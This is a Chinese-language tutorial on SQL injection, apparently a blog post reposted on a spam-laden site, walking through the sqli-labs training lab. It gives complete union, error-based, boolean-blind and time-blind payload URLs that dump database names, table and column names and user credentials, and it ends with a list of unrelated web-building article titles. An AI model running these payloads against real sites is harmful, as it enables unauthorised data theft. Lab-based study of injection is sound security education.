当前位置: 首页 > wzjs >正文

成都建站模板公司商洛做网站

成都建站模板公司,商洛做网站,WordPress全屏轮播图,wordpress 界面设计Sql注入的基本原理 SQL 注入(SQL Injection)是一种常见的网络攻击手段,发生在 Web 程序中数据库层的安全漏洞,是网站存在较多且较为简单的漏洞。主要原因是程序对用户输入数据的合法性没有进行判断和处理,使得攻击者能…

Sql注入的基本原理

SQL 注入(SQL Injection)是一种常见的网络攻击手段,发生在 Web 程序中数据库层的安全漏洞,是网站存在较多且较为简单的漏洞。主要原因是程序对用户输入数据的合法性没有进行判断和处理,使得攻击者能够在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,如窃取敏感数据、绕过身份验证、修改或删除数据库内容、执行系统命令等。今天就来讲讲sql注入的常见过程。

本文仅仅是个人见解,如有问题,请各位师傅指出,某一定认真听教,修改。

本文使用sqli-labs靶场(以下简称靶场),让各位有更直观的了解。

特别提醒,本文仅限学习使用,一切造成的后果,皆有个人承担,与本人无关。

那么我们现在开始吧。

  1. 找到sql注入点。

这是sql注入的第一步。其实sql注入的注入点不仅限于url,其实所有可以输入内容的地方都有可能成为注入点。比如像输入账号密码的地方,这里就用靶场的第11关来做讲解。

可以看到是一个输入账号密码的地方,此时我们在账号处就可以sql注入

(此处是一个盲注,后面会讲)

其实sql注入点有很多,使用burpsuite抓包,

比如像user-agent,cookie等都有可能成为注入点,这就要求你有足够的耐心去尝试。

        2.判断字符型注入还是数字型注入

这是sql注入必不缺少的一部,字符型和数字型为两个不同的注入和闭合方式,可以使用id=1’,如果不报错,就是字符型,否则为数字型。

        3.尝试闭合方式

如果说找注入点很困难,那么使其闭合会更难,因为这就要求你会看源码,分析闭合方式。如果看不到源码,就要自己尝试。常见的闭合方式为(均为英文字符):’(单引号),”(双引号),’)(单引号加括号),”)(双引号加括号),等等多种方式,这里是字符型才要猜闭合,如果是数字型可以跳过这个步骤。在字符型闭合后,在后面加上-- +(中间有一个空格),可以将原本后面的代码注释掉。

        4.判断sql注入方法

Sql注入有很多方法,主流的为sql的union(联合)注入,sql的盲注,盲注又分为布尔盲注和时间盲注,sql的报错注入等等。以下会详细讲讲这几种方法。

  1. 进行sql注入
    1. 1union(联合)注入

联合注入主要使用的是union select 语句,这里使用靶场1来做演示

首先是闭合方式?id=1' -- +

页面回显正常,可以确定是闭合成功。

接下来使用order by

?id=1’order by 1 -- +

?id=1’order by 2 -- +

?id=1’order by 3 -- +

?id=1’order by 4 -- +

可以看到order by 4 时爆出没有4,此时我们知道存在3 列。

?id=-1’ union select 1,2,3 -- +(这里一定要改为-1或其他不存在的id)

此时我们知道在2和3存在注入点。我们可以在2和3处改为我们要查的东西,比如数据库:database(),版本:version(),用户:users(),等,这里主要是查数据库,

?id=-1’union select 1,database(),version() -- +

此时爆出了数据库名为security

接下来继续注入爆表名。

?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’ -- +

此时我们可以看到表名为emails,referers,uagents,users,接下来爆表名的具体目录名。(这里以users做演示)

?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’-- +

爆出来了具体目录名。

最后就是查具体数据了。

?id=-1’union select 1,2,group_concat(id,username,password) from users -- +

爆出了数据库具体数据。在这里要稍微讲一下group_concat 这个函数,当数据过多时,可能会因为数据过长而报不出来,这里就要用select 配上limit来查看。

  1. 2 报错注入

这里使用的是靶场的第五关

首先这里使用联合注入发现不行

那么接下来就是用报错注入,核心原理就是执行错误的代码返回时就会带出敏感信息。那么接下来讲讲报错注入。

首先也是尝试闭合方式,字符型注入。

然后构造语句?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +

成功爆出表名,这里讲一下,0x7e是~的16进制数,其实也可以用其他的,当然你也可以用“!”这样的方式来输入。

接下来就是爆表名。

?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),0x7e),1) -- +

R然后我们可以把limit 0,1 改为limit 1,1 查询第二张表,这里就不多演示了。

接下来爆列明,这里用emails做演示

?id=1 'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- +

然后就是limit 0,1 改为limit 1,1 查看列名。这里不多赘述。

最后一步就是查数据了。

?id=1’ and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- +

接下来的操作我就不多说了。Ok,那么报错注入也讲完了。

1.3.1布尔盲注

其实盲注是我认为所有sql注入中的最繁琐的注入方法,顾名思义,盲注是看不到页面回显的,(仅仅有错误与正确之分),这就相当于全程都在猜。

这里使用的是靶场第八题。

首先要爆出表名,我们先查看长度。

?id=1’ and length(database())=8 -- +

页面回显正常,当我们的条件是错的时候(比如像=7)

可以看到页面回显错误。

接下来就是要爆数据库名。因为看不到回显,所以我们要一个一个去猜。

?id=1’ and ascii(substr(database(),1,1))=115-- +

这里就要熟悉ASCII码表。

一位一位去猜,这里就非常考验耐心了。

最后爆出来的数据库名为security。

接下来就是要爆表名,和上面差不多。

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101-- +

哎反正就是要有耐心,一位一位爆,最后爆出表名是emails

最后就是爆列名。

?id=1'and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- +

爆出来最后是id

然后是爆数据

?id=1'and (ascii(substr((select id from emails limit 0,1),1,1)))=49-- +

一位一位爆。

1.3.2时间盲注

如果说上面的已经很烦了,那么时间盲注会更麻烦。时间盲注的页面回显会一直正常,那么我们怎么办呢。我们可以使用当条件成立时,使其睡眠几秒,延长反应时间。时间盲注是真的需要大量时间来做。而且由于他是根据延时来确定的,这里就不把截图发过来了,(发过来其实也看不出来)

这里就用靶场第九关。

?id=1’and if(length(database())=8,sleep(5),1) -- +

?id=1' and if ((ascii(substr(database(),1,1))=115),sleep(5),1) -- +

?id=1' and if ((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- +

?id=1' and if ((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- +

?id=1' and if ((ascii(substr((select id from emails limit 0,1 ),1,1))=49),sleep(5),1) -- +

这里建议大家上机试试,其实延时还是挺明显的。

不过时间盲注是真的费时间,你得一位一位去测,还没有任何提示,布尔盲注还可以用二分法逼近加快进程,这个是真的只能老老实实去一个一个测。

  1. 结语

好了,以上就是sql注入的一般过程以及一些注入方法。最后声明,本文仅仅为个人学习所用,一切因个人造成的问题与后果,皆有个人承担。

http://www.dtcms.com/wzjs/788335.html

相关文章:

  • 织梦搬家 网站空白福州网站网页设计
  • 张掖网站建设公司推荐医疗网站建设
  • 密云手机网站建设高质量营销型网站定做价格
  • 上海3d网站建设做网站客户要求分期
  • 三亚做网站推广活动策划模板
  • 网站建设开发制作网页设计计费
  • 网站播放视频插件泉州做网站seo
  • 汕头市建设局网站wordpress 招聘
  • 丽江市住房建设局网站连江建设局网站
  • 网页设计与网站建设课设WordPress如何禁止游客访问
  • 百度自助建站官网请人做网站注意事项
  • 哪个网站可以做名片科技部网站支持湖南建设创新型省份
  • 企业网站搜索引擎优化方案手机网站的特效
  • 安徽网新网站建设建网站备案需要的材料
  • 十大中文网站排名linux 中 wordpress
  • 没有公司可以做网站吗网站建设销售工作内容
  • php网站的优势建站之星破解版下载
  • 站群 网站如何做手机百度建设网站
  • 唐山建设集团下岗职工网站wordpress poedit
  • 网站建设策划案怎么做的网站怎么放上网
  • 佛山智唯网站建设庐江网站制作
  • 上海手机网站案例广东公司响应式网站建设报价
  • 网站建设与维护中国出版社html网页设计代码作业大一
  • 制作网站哪家便宜网站开发设计选题背景
  • 郑州企业建设网站技术wordpress list
  • 高校网站站群wordpress手机版app导航
  • 东莞网站建设基本流程网站开发ppt方案模板
  • 单页网站产品wordpress 列表模板
  • 网站制作自己做网站建设以及运营方面
  • 7块钱建购物网站抖音seo关键词优化